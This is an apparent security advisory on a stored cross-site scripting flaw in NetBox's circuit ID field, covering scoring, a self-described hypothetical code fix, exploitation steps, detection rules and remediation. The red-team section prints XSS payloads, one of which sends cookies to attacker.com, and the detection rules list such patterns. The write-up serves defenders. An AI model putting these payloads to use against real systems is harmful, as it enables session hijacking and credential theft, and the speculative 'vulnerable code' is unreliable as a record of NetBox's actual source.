CVE-2024-40741

Executive Summary

CVE-2024-40741 is a stored cross-site scripting (XSS) vulnerability discovered in NetBox v4.0.3, specifically within the circuit management module. An authenticated attacker with the ability to edit circuits can inject arbitrary JavaScript or HTML into the circuit ID parameter at the endpoint /circuits/circuits/{id}/edit/. This payload is then stored and executed in the browsers of other users who view the affected circuit, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity and a requirement for low-privileged authentication. No public exploit code or proof-of-concept has been released, and the vendor has not yet issued a patch. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

NetBox is a Python/Django-based application distributed via PyPI and GitHub. This vulnerability does not directly affect the supply chain of NetBox itself, but it highlights the risk of XSS in web-based management tools. Organizations using NetBox should ensure they are not running unpatched versions and should apply strict input validation and output encoding as a defense-in-depth measure.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) – An attacker needs a valid account with circuit edit permissions.
• User Interaction (UI): Required (R) – The victim must view the malicious circuit page.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., user sessions).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for authentication and user interaction reduces the immediate risk. However, in a multi-tenant or shared NetBox environment, the impact could be significant.

Deep Dive & Mechanics

The vulnerability resides in the circuit editing functionality of NetBox. When a user submits a circuit ID via the /circuits/circuits/{id}/edit/ form, the application fails to properly sanitize or encode the input before storing it in the database. When another user views the circuit details page, the stored payload is rendered in the browser without proper escaping, allowing the attacker's script to execute.

The root cause is a lack of output encoding in the template that displays the circuit ID. NetBox uses Django templates, which by default auto-escape HTML, but if the developer used the |safe filter or mark_safe() function on the circuit ID field, the XSS becomes possible. Alternatively, the vulnerability could be in a custom field or a third-party plugin that bypasses Django's built-in protections.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In views/circuits.py or similar
def circuit_edit(request, id):
    circuit = get_object_or_404(Circuit, id=id)
    if request.method == 'POST':
        form = CircuitForm(request.POST, instance=circuit)
        if form.is_valid():
            form.save()
            return redirect('circuit-detail', id=circuit.id)
    else:
        form = CircuitForm(instance=circuit)
    return render(request, 'circuits/circuit_edit.html', {'form': form})

<!-- In templates/circuits/circuit_detail.html -->
<div class="field">
    <label>Circuit ID:</label>
    <span>{{ circuit.circuit_id|safe }}</span>  <!-- Vulnerable: |safe filter bypasses escaping -->
</div>

Patched Code (Hypothetical):

# In views/circuits.py
# No changes needed in the view; the fix is in the template.

<!-- In templates/circuits/circuit_detail.html -->
<div class="field">
    <label>Circuit ID:</label>
    <span>{{ circuit.circuit_id }}</span>  <!-- Patched: Remove |safe filter, rely on auto-escaping -->
</div>

The patched version removes the |safe filter, allowing Django's automatic HTML escaping to neutralize the XSS payload.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid NetBox account with permission to edit circuits.
• Access to the /circuits/circuits/{id}/edit/ endpoint.

Exploitation Steps:

1. Log in to NetBox as a low-privileged user.
2. Navigate to an existing circuit or create a new one.
3. In the "Circuit ID" field, inject a payload such as:

   <script>alert('XSS')</script>
   

   or a more malicious payload:

   <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   

4. Submit the form.
5. Any user who views the circuit details page will execute the script.

Lab Setup:

• Use Docker to deploy NetBox v4.0.3:

  docker run -d --name netbox -p 8000:8000 netboxcommunity/netbox:v4.0.3
  

• Access the web interface at http://localhost:8000.
• Create a test user and a circuit, then perform the exploitation steps.

Blue Team

Detection:

• Monitor web application logs for unusual characters in the circuit_id parameter (e.g., <script>, <img, onerror).
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the database for stored XSS payloads in the circuits_circuit table:

  SELECT id, circuit_id FROM circuits_circuit WHERE circuit_id LIKE '%<script%' OR circuit_id LIKE '%onerror%';
  

• Review NetBox audit logs for suspicious edits to circuit IDs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from NetBox server.
  • Unusual Referer headers containing XSS payloads.
• Host IOCs:
  • Presence of <script>, <img>, or onerror tags in the circuit_id field of the database.
  • Modified NetBox templates that bypass auto-escaping.
• Log IOCs:
  • Repeated 200 responses to /circuits/circuits/*/edit/ with suspicious POST data.
  • Error logs showing JavaScript execution errors.

Detection Engineering

YARA Rule

rule Detect_NetBox_XSS_CVE_2024_40741 {
    meta:
        description = "Detects XSS payloads in NetBox circuit_id field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40741"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /<svg[^>]*onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: NetBox XSS in Circuit ID Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in NetBox circuit ID field
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/circuits/circuits/'
        cs-uri-query|contains: '/edit/'
        cs-request-body|contains:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in circuit IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-40741 NetBox XSS in Circuit ID"; flow:to_server,established; content:"POST"; http_method; content:"/circuits/circuits/"; http_uri; content:"/edit/"; http_uri; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NetBox to the latest version as soon as a patch is released. Monitor the NetBox GitHub releases for updates.
2. Apply a WAF rule to block XSS payloads in the circuit_id parameter.
3. Restrict circuit edit permissions to only trusted users.

Long-Term Mitigations:

• Implement Content Security Policy (CSP): Add the following HTTP header to prevent inline script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

• Enable Django's auto-escaping: Ensure no template uses the |safe filter on user-controlled data.
• Conduct code review: Audit all templates for improper use of mark_safe() or |safe.
• Use input validation: Reject circuit IDs containing HTML tags or special characters.

Workaround:

• If patching is not immediately possible, manually edit the template file circuits/circuit_detail.html to remove the |safe filter from the circuit ID field.

Valters IT